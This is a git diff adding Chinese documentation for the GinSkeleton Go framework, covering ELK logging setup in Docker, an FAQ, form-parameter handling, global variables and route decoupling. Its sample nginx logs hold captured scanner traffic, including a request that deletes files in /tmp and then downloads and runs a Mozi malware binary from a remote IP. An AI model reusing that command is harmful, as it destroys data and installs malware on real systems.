3.控制器位置:app\http\controller\websocket\ws.go + > 4.事件监听、处理位置:app\service\websocket\ws.go,[查看详情](../app/service/websocket/ws.go) + > 5.关于隐式自动维护心跳抓包图,其中`Server_ping` 为服务器端向浏览器发送的`ping`格式数据包,`F12` 不可见,只有抓包可见。 + >![业务主线图](https://www.ginskeleton.com/images/pingpong.png) \ No newline at end of file diff --git a/GinSkeleton/docs/elk_log.md b/GinSkeleton/docs/elk_log.md new file mode 100644 index 0000000..7f73e32 --- /dev/null +++ b/GinSkeleton/docs/elk_log.md @@ -0,0 +1,296 @@ +### 1.项目日志的顶级解决方案(ELK) +> 1.`ELK` 全称为 `Elasticsearch`、`Logstash`、`Kibana`, 该产品近年在提供快速搜索领域异军突起,但是今天我们要介绍的是该套产品的另一杀手锏:日志统一管理、统计、分析. +> 2.`ELK` 支持分布式管理日志,您只需要搭建 `elk` 服务器,所有项目的日志(例如:`nginx` 的 `access` 日志、`error` 日志、应用项目运行日志)都可以对接到 `elk` 服务器,由专门的人员负责数据监控,统计、分析. +> 3.`ELK` 日志推送结构图: +>![elk日志推送结构图](https://www.ginskeleton.com/images/elk_struct.png) + +### 2.三个核心角色介绍 +> **elasticsearch**: +> 倒排索引驱动的数据库,通俗地说,就是数据存储时,按照分词器提取关键词,给关键词创建索引,然后将索引和数据一起存储,最终当你查询关键词的时候,首先定位索引,然后根据索引快速获取结果,返回给用户。 +> **logstash**: +> 负责数据的采集、加工处理、输出,我们只需要设置好相关参数,按照指定时间频率,抓取日志文件,支持分布式部署,一台项目服务器需要部署一个客户端,然后将数据推送至elasticsearch存. +> **kibana**: +> 数据可视化管理面板,支持数据本身的展示(文本展示)、图形化展示、统计、分析等. + +### 3.本次我们要对接的日志清单 +> 1.nginx 的 access.log. +> 2.nginx 的 error.log. +> 3.本项目骨架 的 goskeleton.log ,该日志是项目运行日志,按照行业标准提供了 info 、 warn 、error 、fatal 等不同级别日志. +> 提醒:本项目骨架版本 >= v1.3.00, 则 `storage/logs/goskeleton.log` 格式已经默认设置ok(json格式,记录的时间字段已经调整为 created_at),否则,请您升级版本至最新版,或者自行修改配置文件 config/config.yml 中的日志部分, + 修改日志格式为 json,此外还需要调整一个地方: + 参见最新版本代码 app/utils/zap_factory/zap_factory.go ,47行,重新定义日志记录的时间字段:encoderConfig.TimeKey = "created_at" + +### 4.进入对接环节 +> 1.后续所有方案基于docker. +> 2.考虑到有部分人员可能没有安装 elk 黄金套餐,我们简要地介绍一下安装步骤,如果已经安装,那么相关参数请自行配置. +> 3.特别提醒:本次我们是基于 elk 最新版本(v7.9.1),距离我写本文档的时间(2020-09-21)发布仅仅16天, 和之前的版本细节差异都比较大, 和网上已有的资料差距也很大(很有可能v7.9.1的全套对接、配置我们都是全网首发), 如果您不是很熟悉该套产品,那么请按照本文档 100% 操作,否则有很多"惊喜". + +#### 4.1 nginx 修改日志格式 +> 4.1.1 例如我的nginx配置文件路径:`/usr/local/nginx/conf/nginx.conf` +```code +#以下代码段需要放置在http段 + http { + include mime.types; + default_type application/octet-stream; + + #默认的日志格式 + #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + # '$status $body_bytes_sent "$http_referer" ' + # '"$http_user_agent" "$http_x_forwarded_for"'; + #access_log logs/access.log main; + + # 将日志格式修改为 json 格式,方便对接到 elk ,修改日志格式对 nginx 没有任何影响,只会使日志阅读更加人性化 + log_format json '{"created_at":"$time_iso8601",' + '"url":"$uri",' + '"args":"$args",' + '"remote_addr":"$remote_addr",' + '"method":"$request_method",' + '"request":"$request",' + '"status":"$status",' + '"size":$body_bytes_sent,' + '"referer": "$http_referer",' + '"http_host":"$http_host",' + '"response_time":$request_time,' + '"http_x_forwarded_for":"$http_x_forwarded_for",' + '"user_agent": "$http_user_agent"' + '}'; + + # 设置日志存储路径,一个项目一个文件 + access_log /usr/local/nginx/logs/nginx001_access.log json; + error_log /usr/local/nginx/logs/nginx001_error.log; + + #省略其他nginx配置 + + } + +#重启 nginx 容器,或者重新加载配置文件,检查access日志格式为json格式,错误日志保持 nginx 默认格式即可 + +``` +> 4.1.2 最终的日志格式效果, 总之原则就是access日志必须是json格式,error 格式保持默认即可. +```code +# nginx001_access.log 日志 +{"created_at":"2020-09-21T03:57:35+08:00","time_local":"21/Sep/2020:03:57:35 +0800","remote_addr":"45.146.164.186","method":"GET","request":"GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","status":"404","size":555,"referer": "-","http_host":"49.232.145.118:80","response_time":0.274,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"} +{"created_at":"2020-09-21T04:02:19+08:00","time_local":"21/Sep/2020:04:02:19 +0800","remote_addr":"45.146.164.186","method":"POST","request":"POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","status":"404","size":555,"referer": "-","http_host":"49.232.145.118:80","response_time":0.273,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"} +{"created_at":"2020-09-21T04:04:22+08:00","time_local":"21/Sep/2020:04:04:22 +0800","remote_addr":"78.188.205.21","method":"GET","request":"GET / HTTP/1.1","status":"200","size":199,"referer": "-","http_host":"49.232.145.118:80","response_time":0.000,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"} +{"created_at":"2020-09-21T04:58:00+08:00","time_local":"21/Sep/2020:04:58:00 +0800","remote_addr":"192.241.221.22","method":"GET","request":"GET / HTTP/1.1","status":"200","size":199,"referer": "-","http_host":"49.232.145.118","response_time":0.000,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 zgrab/0.x"} + +# nginx001_error.log 日志 +2020/09/21 00:57:00 [error] 6#0: *26 open() "/usr/local/nginx/html/elrekt.php" failed (2: No such file or directory), client: 106.52.153.48, server: localhost, request: "GET /elrekt.php HTTP/1.1", host: "49.232.145.118" +2020/09/21 00:57:00 [error] 6#0: *27 open() "/usr/local/nginx/html/index.php" failed (2: No such file or directory), client: 106.52.153.48, server: localhost, request: "GET /index.php HTTP/1.1", host: "49.232.145.118" +2020/09/21 01:50:50 [error] 6#0: *30 open() "/usr/local/nginx/html/shell" failed (2: No such file or directory), client: 123.96.229.15, server: localhost, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+http://123.96.229.15:35278/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1", host: "49.232.145.118:80" +# 可能还有其他的错误格式 +2018/07/09 16:50:34 [error] 78175#0: *21132 FastCGI sent in stderr: "PHP message: PHP Warning: Unknown: open_basedir restriction in effect. File(/usr/local/jenkins_manage_project/2018/bestbox_first/public/index.php) is not within the allowed path(s): (/home/wwwroot/:/tmp/:/proc/) in Unknown on line 0 +PHP message: PHP Warning: Unknown: failed to open stream: Operation not permitted in Unknown on line 0 +Unable to open primary script: /usr/local/jenkins_manage_project/2018/bestbox_first/public/index.php (Operation not permitted)" while reading response header from upstream, client: 192.168.6.85, server: 192.168.8.62, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/tmp/php-cgi.sock:", host: "192.168.8.62" + +``` + +#### 4.2 elasticsearch 安装 +```code +docker pull elasticsearch:7.9.1 +docker run --name elastic7 -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -d elasticsearch:7.9.1 + +#修改容器时间为北京时间,fea8df018c15 为刚启动的容器ID, 请自行替换 +docker cp /usr/share/zoneinfo/Asia/Shanghai fea8df018c15:/etc/localtime + +#进入容器修改内存, 如果您的服务器内存超过 8g, 请忽略 +docker exec -it elasticsearch7 /bin/bash +# 文件位置: /usr/share/elasticsearch/config/jvm.options,默认配置为1g,修改如下: + -Xms512m + -Xmx512m + +#重启容器 +docker restart elasticsearch7 + +``` +#### 4.3 kibana 安装 +```code +docker pull kibana:7.9.1 +docker run --name kibana7 --link elastic7:elasticsearch -p 5601:5601 -d kibana:7.9.1 +. +#修改容器时间为北京时间,ffe8df018624 为刚启动的容器ID, 请自行替换 +docker cp /usr/share/zoneinfo/Asia/Shanghai ffe8df018624:/etc/localtime + +#进入容器修改内存, kibana设置 +docker exec -it kibana7 /bin/bash + +vi /usr/share/kibana/config/kibana.yml +#修改参数如下,没有的选项复制添加即可 +i18n.locale: "zh-CN" +xpack.spaces.enabled: false +# Default Kibana configuration for docker target +server.name: kibana +server.host: "0" +elasticsearch.hosts: [ "http://elasticsearch:9200" ] +monitoring.ui.container.elasticsearch.enabled: true + +#重启容器 +docker restart kibana7 + +``` + +#### 4.4 logstash 安装 +> 4.4.1 由于logstash 需要修改、配置的地方特别多,而且本次的难度基本都集中的这块儿,因此,配置文件等需要频繁修改的变动的我们映射出来. +```code +docker pull logstash:7.9.1 +# goskeleton 请确保版本 >= v1.3.00 版本,默认配置项开启了日志 json 格式,如果老日志不是json,请自行重命名备份原始文件,新日志确保 100% json格式。 +# 以下涉及到的参数需要您根据您的实际情况修改 +# 启动 logstash 容器,注意这里有两个映射目录,第一个是配置文件目录,第二个是 nginx 日志目录(包括 access、error 日志),第三个是 goskeleton.log 映射 +docker container run --name logstash7 -d -v /home/mysoft/logstash/conf/:/usr/share/logstash/pipeline/ -v /home/wwwlogs/project_log/:/usr/share/data/project_log/nginx/ -v /home/wwwroot/project2020/goskeleton/storage/logs/:/usr/share/data/project_log/goskeleton/ logstash:7.9.1 + +#修改容器时间为北京时间,ffe8df018624 为刚启动的容器ID, 请自行替换 +docker cp /usr/share/zoneinfo/Asia/Shanghai ffe8df018624:/etc/localtime + +#进入容器修改一些内存参数, 如果您的服务器内存超过 8g, 请忽略 +docker exec -it logstash7 /bin/bash +#文件位置:/usr/share/logstash/config/jvm.options,默认配置为1g,修改如下: + -Xms512m + -Xmx512m + +#修改x-pack设置项,该插件负责客户端登录服务器的认证 +#文件位置:/usr/share/logstash/config/logstash.yml ,修改如下 +http.host: "0.0.0.0" +xpack.monitoring.enabled: true #启动x-pack插件,172.21.0.13 为 elk 服务器的ip,请自行替换 +xpack.monitoring.elasticsearch.hosts: [ "http://172.21.0.13:9200" ] + +#退出容器,重启logstash +docker restart logstash + +``` +> 4.4.2 接下来我们继续修改数据采集配置项,主要是实现采集 nginx 的 access、error 日志, goskeleton 项目的运行日志到 elk 服务器 . +> logstash配置文件我们已经映射出来了,相关位置: `/home/mysoft/logstash/conf/logstash.conf` +> 以下配置必须完全按照我们提供的文档操作,否则很容易报错,全程必须是小写,不小心使用大写都有可能都会报错. +```code +#数据采集规则 +input { + # nginx 日志采集配置 + file { + type => "nginx001" #可以自行定义,方便后面判断,但是不要使用大写,否则报错 + path => "/usr/share/data/project_log/nginx/nginx001_access.log" + start_position => "beginning" # 从日志其实位置采集 + stat_interval => "3" # 采集频率为 3 秒 + # 下一行不要提前将原始数据转换为 json ,否则后面坑死你,不要相信 elk 之前版本的文档资料 + # codec => json + } + + # goskeleton 日志采集配置 + file { + type => "goskeleton" + path => "/usr/share/data/project_log/goskeleton/goskeleton.log" + start_position => "beginning" + stat_interval => "3" + # codec => json + } + + + # nginx 错误日志采集配置 + file { + type => "nginxerr" + path => "/usr/share/data/project_log/nginx/nginx001_error.log" + start_position => "beginning" + stat_interval => "3" + # plain 表示采集的数据是 文本格式,非 json + codec => plain + } + + +} + +#数据过滤规则 +filter { + # 非 nginx 的 error log,都是 json 格式,那么在这里进行 json 格式化 + if [type] != "nginxerr" { + json{ + #每一条数据就是一个消息事件(message) + source => "message" + } + } + + # 根据设置的类型动态设置 索引模式(index pattern ) + if [type] == "nginx001" { + + # 注意:索引模式 以 logstash- 开头,表示使用系统默认json解析模板,否则又要自己定义解析模板,此外,注意全程小写. + mutate { add_field => { "[@metadata][target_index]" => "logstash-nginx001-%{+YYYY.MM.dd}" } } + + # 建议同时开启 ip 位置转换功能,这样在 logstash 就能自动统计访问者的地理位置分布 + geoip { + source => "remote_addr" + target => "geoip" + # ip 与经纬度转换城市数据库下载地址:https://dev.maxmind.com/geoip/geoip2/downloadable/ (需要注册账号才能有下载地址) + # 数据库文件放置在logstash容器映射的日志目录,不要放在配置文件目录,会报错。 + database => "/usr/share/data/testlog/GeoLite2-City.mmdb" + } + + }else if [type] == "goskeleton" { + + mutate { add_field => { "[@metadata][target_index]" => "logstash-goskeleton-%{+YYYY.MM.dd}" } } + + }else if [type]=="nginxerr"{ + + mutate { add_field => { "[@metadata][target_index]" => "logstash-nginxerr-%{+YYYY.MM.dd}" } } + + }else { + + mutate { add_field => { "[@metadata][target_index]" => "logstash-unknowindex-%{+YYYY.MM.dd}" } } + } + + # 匹配 nginx 错误日志,将原始文本进行 json 化 + if [type]=="nginxerr" { + grok { + match => [ "message" , "(?%{YEAR}[./-]%{MONTHNUM2}[./-]%{MONTHDAY} %{TIME:time2}) \[%{WORD:errLevel}] (?([\w\W])*), client\: %{IP:clientIp}(, server\: %{IPORHOST:server})?(, request\: \"%{DATA:request}\")?(, upstream\: \"%{DATA:upstream}\")?(, host\: \"%{DATA:host}\")?" ] + } + } + + #删除一些多余字段 + mutate { + remove_field => [ "message","@version"] + } + +} + +output { + #将最终处理的结果输出到调试面板(控制台),您可以开启,先观察处理结果是否是您期待的,确保正确之后,注释掉即可 + #stdout { codec => rubydebug } + + # 官方说,这里每出现一个 elasticsearch 都是一个数据库客户端连接,建议用一个连接一次性输出多个日志内容到 elk ,像如下这样 + # 这样配置可以最大减少 elk 服务器的连接数,减小压力,因为 elk 今后将管理所有项目的日志,数据处理压力会非常大 + elasticsearch { + # 172.21.0.13 请自行替换为您的 elk 服务器地址 + hosts => ["http://172.21.0.13:9200"] + index => "%{[@metadata][target_index]}" + } +} + +#配置完毕,重启容器 +docker restart logstash + +#可以观察近3分钟的日志,确保配置正确,启动正常 +docker logs --since 3m logstash7 + +``` + +> 4.4.3 现在我们可以访问kibana地址:`http://172.21.0.13:5601` , 如果是云服务器就使用外网地址访问即可. +> 以下操作基本都是可视化界面,通过鼠标点击等操作完成,我就以截图展示一个完整的主线操作流程, 其他知识请自行查询官网或者加我们的项目群咨询讨论. +![步骤1](https://www.ginskeleton.com/images/elk001.png) +![步骤2](https://www.ginskeleton.com/images/elk002.png) +![步骤3](https://www.ginskeleton.com/images/elk003.png) +![步骤4](https://www.ginskeleton.com/images/elk004.png) + +> 特别说明:以下数据是基于测试环境, 有一些数据是直接把老项目的日志文件覆盖到指定位置,所以界面的查询日期跨度比较大. +> nginx access 的日志 +![nginx_access日志](https://www.ginskeleton.com/images/elk005.png) + +>> goskeleton 的日志 +![goskeleton的elk日志](https://www.ginskeleton.com/images/elk006.png) + +> nginx error 的日志 +![nginx_access日志](https://www.ginskeleton.com/images/elk007.png) + + +#### 5.更炫酷未来 +> 基于以上数据我们可以在 elk 做数据统计、分析,例如:可视化展示网站访问量. 哪些接口访问最多、哪些接口访问最耗时,就需要优先优化。 +> elk 能做的事情超乎你的想象(机器学习、数据关联性分析、地理位置分布分析、各种图形化等等), 请参考官方提供的可视化模板,自己做数据展示设计即可。 +> 比较遗憾的是我们做的模板无法直接分享给其他人,只能分享最终的效果,其他开发者可自行参考制作自己的展示模板. +![logstash样图](https://www.ginskeleton.com/images/logstash1.png) + + diff --git a/GinSkeleton/docs/faq.md b/GinSkeleton/docs/faq.md new file mode 100644 index 0000000..80d9ed2 --- /dev/null +++ b/GinSkeleton/docs/faq.md @@ -0,0 +1,86 @@ +## 常见问题汇总 +> 1.本篇我们将汇总使用过程中最常见的问题, 很多细小的问题或许在这里你能找到答案. + +##### 2.为什么该项目 go.mod 中的模块名是 goskeleton ,但是下载下来的文件名却是 GinSkeleton ? +> 本项目一开始我们命名为 ginskeleton , 包名也是这个,但是后来感觉 goskeleton 好听一点,因此改名(现在看是错了),由于版本已经更新较多,同时不影响使用,此次失误请忽略即可. + +##### 3.为什么编译后的文件提示 config.yml 文件不存在 ? +> 项目的编译仅限于代码部分,不包括资源部分:config 目录、public 目录、storage 目录,因此编译后的文件使用时,需要带上这个三个目录,否则程序无法正常运行. + +##### 4.表单参数验证器代码部分的疑问 +> 示例代码位置:`app/http/validator/web/users/register.go` ,如下代码段 +```code +type Register struct { + Base + Pass string `form:"pass" json:"pass" binding:"required,min=3,max=20"` //必填,密码长度范围:【3,20】闭区间 + Phone string `form:"phone" json:"phone" binding:"required,len=11"` // 验证规则:必填,长度必须=11 + //CardNo string `form:"card_no" json:"card_no" binding:"required,len=18"` //身份证号码,必填,长度=18 +} + +// 注意这里绑定在了 Register +func (r Register) CheckParams(context *gin.Context) { + // ... +} + + +``` +> CheckParams 函数是否可以绑定在指针上?例如写成如下: +```code +// 注意这里绑定在了 *Register +func (r *Register) CheckParams(context *gin.Context) { + // ... +} + +``` +> 这里绝对不可以,因为表单参数验证器在程序启动时会自动注册在容器,每次调用都必须是一个全新的初始化代码段,如果绑定在指针,第一次请求验证通过之后,相关的参数值就会绑定容器中的代码上,造成下次请求数据污染. + +##### 5.全局容器的作用是什么? +```code +本项目使用容器最多的地方: +app/http/validator/common/register_validator/register_validator.go + +根据key从容器调用:routers/web.go > validatorFactory.Create() 函数 ,就是根据注册时的键从容器获取代码. + +目的: +1.一个请求(request)到达路由以后,需要进行表单参数的校验,如果是传统的方法,就得import相关的验证器文件包,然后掉用包中的函数,进行参数验证, 这种做法会导致路由文件的头部会出现N多的import ....包, 因为你一个接口就得一个验证器。 +在这个项目骨架中,我们将验证器全部注册在容器中,路由文件头部只需要导入一个验证器的包就可以通过key调用对应的value(验证器函数)。 +你可以和别人做的项目对比一下,路由文件的头部 import 部分,看看传统方式导入了是不是N个.... + +2.因为验证器在项目启动时,率先注册在了容器(内存),因此调用速度也是超级快。性能极佳. + +``` + +##### 6.每个model都要 create 一次,难道每个 model 都是一次数据库连接吗? +```code + +关系型数据库驱动库其实是根据 config.yml中的配置初始化了一次,因此每种数据库全局只有一个连接,以后每一次都是从同一个驱动指针地址,通过ping() 从底层的连接池获取一个连接。用完也是自动释放的. +看起来每一个表要初始化一次,主要是为了解决任何一个表可以随意切换到别的数据库连接,解决数据库多源场景。 +每种数据库,在整个项目全局就一个数据库驱动初始化后的连接池:app/utils/sql_factory/client.go + +``` + +##### 7.为什么该项目强烈建议应用服务器前置nginx? +```code + +1.nginx处理静态资源,几乎是无敌的,尤其是内存占用方面的管理非常完美. +2.nginx前置很方便做负载均衡. +3.nginx 的access.log、error.log 都是行业通用,可以很方便对接到 elk ,进行后续统计、分析、机器学习、报表展示等等. +4.gin 框架本身建议生产环境切换 gin 的运行模式:gin.SetMode(gin.ReleaseMode) ,该模式无接口访问日志生成,那么你的接口访问日志就必须要搭配 nginx ,同时该模式我们经过测试对比,性能再度提升 5% + +``` + +##### 8.本项目骨架引用的包,如何更新至最新版? +> 1.本项目骨架主动引入包全部在 `go.mod` 文件,如果想自己更新至最新版,非常简单,但是必须注意:该包更新的功能兼容现有版本,如果不兼容,可能会导致封装层`app/utils/xxx` 出现错误,功能也无法正常使用. +> 2.例如:gormv2 目前在用版本是 `v1.20.5`, 官方最新版本地址:https://github.com/go-gorm/gorm/tags , 最新版 : v1.20.7 +```code + + // 1. go.mod 文件修改以下版本号至最新版 + gorm.io/gorm v1.20.5 ===> + gorm.io/gorm v1.20.7 + + // 在goland终端或者 go.mod 同目录执行以下命令即可 + go mod tidy + +``` + + \ No newline at end of file diff --git a/GinSkeleton/docs/formparams.md b/GinSkeleton/docs/formparams.md new file mode 100644 index 0000000..326fa5d --- /dev/null +++ b/GinSkeleton/docs/formparams.md @@ -0,0 +1,72 @@ +### 表单参数提交介绍 + - 1.前端提交简单的表单参数示例代码,[请参考已有的接口测试用例文档](./api_doc.md) + - 2.本篇我们将介绍复杂表单参数的提交. + +#### 什么是简单的表单参数提交 +> 1.如果接口参数都是简单的键值对,没有嵌套关系,就是简单模式. + +![form-parms](https://www.ginskeleton.com/images/formparams1.png) + +#### 什么是复杂的表单参数提交 +> 1.表单参数存在嵌套关系,这种数据在 `postman` 都是以 raw 方式提交,本质上就是请求的表单参数头设置为:`Content-Type: application/json` + +![form-parms](https://www.ginskeleton.com/images/formparams2.png) + +#### `ginskeleton` 后台处理复杂表单数据 +> 1.按照提交的数据格式,我们在表单参数验证器部分,定义接受的结构体,例如上图的参数我们在后台的接受参数就可以定义如下: +```code + +type ViewEleCreateUpdate struct { + FkBigScreenView float64 `form:"fk_big_screen_view" json:"fk_big_screen_view"` + EleId string `form:"ele_id" json:"ele_id"` + EleIdTitle string `form:"ele_id_title" json:"ele_id_title"` + Status *float64 `form:"status" json:"status"` + Remark string `form:"remark" json:"remark"` + ChildrenTableDelIds string `form:"children_table_del_ids" json:"children_table_del_ids"` + ChildrenTable []ChildrenTable `form:"children_table" json:"children_table"` +} + +// 大屏界面元素的子表数据 +// 每种元素都有三个状态(1=正常;2=禁止;3=隐藏) +// 被嵌套的数据请独立定义,这样的好处就是后续可以随意精准取出任意一部分 +type ChildrenTable struct { + Id float64 `form:"id" json:"id"` + FkBigScreenViewElement float64 `form:"fk_big_screen_view_element" json:"fk_big_screen_view_element"` + FkBigScreenViewElementStatusName float64 `form:"fk_big_screen_view_element_status_name" json:"fk_big_screen_view_element_status_name"` + Status *float64 `form:"status" json:"status"` + Remark string `form:"remark" json:"remark"` +} + +``` +#### 接口验证器 ↓ +> 1.复杂接口参数前端都是通过json格式提交. +> 2.`go` 语言代码接收语法是 `context.ShouldBindJSON()` + +![form-parms3](https://www.ginskeleton.com/images/formparams3.png) + +#### 接口验证器对应的数据类型 ↓ +![form-parms4](https://www.ginskeleton.com/images/formparams4.png) + +#### 在后续的控制器、model 获取子表数据 +```code +# 在接口验证逻辑部分,通过参数验证后,我们将子表数据已经存储在上线文 + +// 子表数据设置一个独立的键存储 +extraAddBindDataContext.Set(consts.ValidatorPrefix+"children_table_del_ids", v.ChildrenTable) + +// 那么后续的控制器、以及model都可以根据相关的键获取原始数据、断言为我们定义的子表数据类型继续操作 + var childrenTableData = c.MustGet(consts.ValidatorPrefix + "children_table_del_ids") + + // 获取子表数据断言为我们定义的子表数据类型 + // 这里需要注意:验证器验证参数ok调用了控制器,如果再验证器文件没有创建独立的数据类型文件夹(包),在控制器断言会形成包的嵌套、报错,这就是我们一开始将复杂数据类型创建独立的文件件定义的原因 + + if subTableStr, ok := childrenTableData.([]data_type_for_create_edit.ChildrenTable); ok { + // 这里就相当于获取了go语言切片数据 + // 继续批量存储、或者挨个遍历就行 + // .... 省略业务逻辑 + } + +``` + + + diff --git a/GinSkeleton/docs/global_variable.md b/GinSkeleton/docs/global_variable.md new file mode 100644 index 0000000..556324c --- /dev/null +++ b/GinSkeleton/docs/global_variable.md @@ -0,0 +1,79 @@ +## 项目中被初始化的全局变量清单介绍 + +### 1.前言 +> 1.程序启动时初始化动作统一由 `bootstrap/init.go` 文件中的代码段负责,本次我们将介绍3个常用的全局变量. +> 2.全局变量只会使用法简洁化, 不对原始语法造成任何破坏, 封装全局变量时我们经过谨慎地评估、测试相关代码段、从而保证并发安全性. + +### 2.gorm 全局变量 +> 1.请按照配置文件 `congfig/gorm_v2.yml` 中的提示正确配置数据库,开启程序启动初始化数据库参数,程序在启动时会自动为您初始化全局变量. +> 2.不同类型的数据库全局变量名不一样, 对照关系参见以下代码段说明. +> 3.更多用法参见单元测试:[gorm_v2单元测试](../test/gormv2_test.go). +> 4.本文档我们主要介绍 gorm 全局变量初始化的核心. +```code + +// 例如:原始语法,我们以 mysql 驱动的初始化为例进行说明 +// 1.连接数据库,获取mysql连接 + dsn := "user:pass@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&parseTime=True&loc=Local" + mysqlDb, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) + +// 2.查询 +db.Select("id", "name", "phone", "email", "remark").Where("name like ?", "%test%").Find(&users) + + +// 本项目中, `variable.GormDbMysql` 完全等于上文中返回的 mysqlDb +variable.GormDbMysql.Select("id", "name", "phone", "email", "remark").Where("name like ?", "%test%").Find(&users) + +// gorm 数据库驱动与本项目骨架对照关系 +variable.GormDbMysql <====完全等于==> gorm.Open(mysql.Open(dsn), &gorm.Config{}) +variable.GormDbSqlserver <====完全等于==> gorm.Open(sqlserver.Open(dsn), &gorm.Config{}) +variable.GormDbPostgreSql <====完全等于==> gorm.Open(postgres.Open(dsn), &gorm.Config{}) +``` + + +### 3.日志全局变量 +> 1.为了随意、方便地记录项目中日志,我们封装了全局变量 `variable.ZapLog` . +> 2.由于日志操作内容比较多,我们对它进行了单独介绍,详情参见: [zap高性能日志](zap_log.md) + + +### 4.配置文件全局变量 +> 1.为了更方便地操作配置文件 `config/config.yml` 、 `config/gorm_v2.yml` 我们同样在项目启动时封装了全局变量. +> 2.`variable.ConfigYml` ,该变量相当于配置文件 `config/config.yml` 文件打开后的指针. +> 3.`variable.ConfigGormv2Yml` ,该变量相当于配置文件 `config/gorm_v2.yml` 文件打开后的指针. +> 4.在任何地方您都可以使用以上全局变量直接获取对应配置文件的 键==>值. +```code + +// 获取 config/config.yml 文件中 Websocket.Start 对应的 Int 值 +variable.ConfigYml.GetInt("Websocket.Start") + +// 获取 config/gorm_v2.yml 文件中 Gormv2.Mysql.IsInitGlobalGormMysql 对应的 Int 值 +variable.ConfigGormv2Yml.GetInt("Gormv2.Mysql.IsInitGlobalGormMysql") + +``` +> 5.获取配置文件中键对应的值数据类型,函数清单,您可以使用 `variable.ConfigYml.` 或者 `variable.ConfigGormv2Yml.` 以下函数名 获取值 +```code + // 开发者常用函数 + GetString(keyName string) string + GetInt(keyName string) int + GetInt32(keyName string) int32 + GetInt64(keyName string) int64 + GetFloat64(keyName string) float64 + GetDuration(keyName string) time.Duration + GetBool(keyName string) bool + + // 非常用函数,主要是项目骨架在使用 + ConfigFileChangeListen() + Clone(fileName string) YmlConfigInterf + Get(keyName string) interface{} // 该函数获取一个 键 对应的原始值,因此返回类型为 interface , 基本很少用 + GetStringSlice(keyName string) []string +``` + +### 5.雪花算法(snowflake)生成分布式场景唯一ID +> 1.相关配置 ` config>config.yml` 配置项 `SnowFlakeMachineId` , 如果本项目同时部署在多台机器,并且需要同时使用该算法,请为每一台机器设置不同的ID,区间范围: [0,1023] +> 2.随时随地,您可以非常方便的获取一个分布式场景的唯一ID +> 3.更多详情参见: [SnowFlake单元测试](../test/snowflake_test.go) +```code + +# 雪花算法生成的全局唯一ID数据类型为 int64 +variable.SnowFlake.GetId() + +``` diff --git a/GinSkeleton/docs/low_coupling.md b/GinSkeleton/docs/low_coupling.md new file mode 100644 index 0000000..9740932 --- /dev/null +++ b/GinSkeleton/docs/low_coupling.md @@ -0,0 +1,81 @@ +### 本篇将探讨主线解耦问题 +> 1.目前项目主线是从路由开始,直接切入到表单参数验证器,验证通过则直接进入了控制器,这里就导致了验证器和控制器之间存在一点低耦合度. +> 2.如果你追求更低的模块之间的耦合度,接下来我们将对上述问题进行解耦操作. + + + +### 当前项目代码存在的低耦合逻辑 +> 1.我们以用户删除数据接口为例进行介绍. +> 2.本文的 `41` 行就是我们所说验证器与控制器出现了低耦合. +```code + +// 1.访问路由 +users.POST("delete", validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy")) + + +// 2.进入表单参数验证器 +type Destroy struct { + Id float64 `form:"id" json:"id" binding:"required,min=1"` +} + +func (d Destroy) CheckParams(context *gin.Context) { + + if err := context.ShouldBind(&d); err != nil { + errs := gin.H{ + "tips": "UserDestroy参数校验失败,参数校验失败,请检查id(>=1)", + "err": err.Error(), + } + response.ErrorParam(context, errs) + return + } + + // 该函数主要是将绑定的数据以 键=>值 形式直接传递给下一步(控制器) + extraAddBindDataContext := data_transfer.DataAddContext(d, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserShow表单参数验证器json化失败", "") + context.Abort() + return + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + // 以下代码就是验证器与控制器之间的一点耦合 + (&web.Users{}).Destroy(extraAddBindDataContext) + } +} + +``` + +### 开始解耦 +> 1.针对41行出现的验证器与控制器耦合问题,我们开始解耦 +```code + +// 1.我们对以上代码进行简单的改造即可实现代码的解耦 +// 2.路由首先切入表单参数验证器,将对应的控制器代码写在第二个回调函数即可 +// 3.注意:市面上很多框架的中间件等注册的函数都是 "洋葱模型" ,即函数的回调顺序和注册顺序是相反的,但是gin框架则是按照注册顺序依次执行 +users.POST("delete", validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy"), (&web.Users{}).Destroy) + + +// 4.代码经过以上改在以后, 从 38 行开始的 else { ... } 代码删除即可 + +``` + +### 解耦以后的注意事项 +> 1.如果业务针对控制器存在比较多的 `Aop` 切面编程,就会导致路由文件以及 `import` 显得比较繁重 +```code + +// 1.例如删除数据之前的和之后的回调 +users.POST("delete", + +validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy"), + +(&Users.DestroyBefore{}).Before, // 控制器Aop的前置回调,例如删除数据之前的权限判断,相关代码可参考 app/aop/users/destroy_before.go +(&web.Users{}).Destroy, // 控制器逻辑 +(&Users.DestroyAfter{}).After // 控制器Aop的后置回调,例如被删除数据之后的数据备份至history表 ,相关代码可参考 app/aop/users/destroy_after.go + +) + +``` +> 2.对比以上代码,如果你的项目存在较多的 `AOP` 编程、或者说不同的路由前、后回调函数比较多,不建议进行解耦(毕竟目前就是极低耦合),否则给路由文件以及 `import` 部分带来了比较多的负担. +> 3.如果你的项目路由前后回调函数比较少,建议参考以上代码进行解耦. + + + diff --git a/GinSkeleton/docs/many_db_operate.md 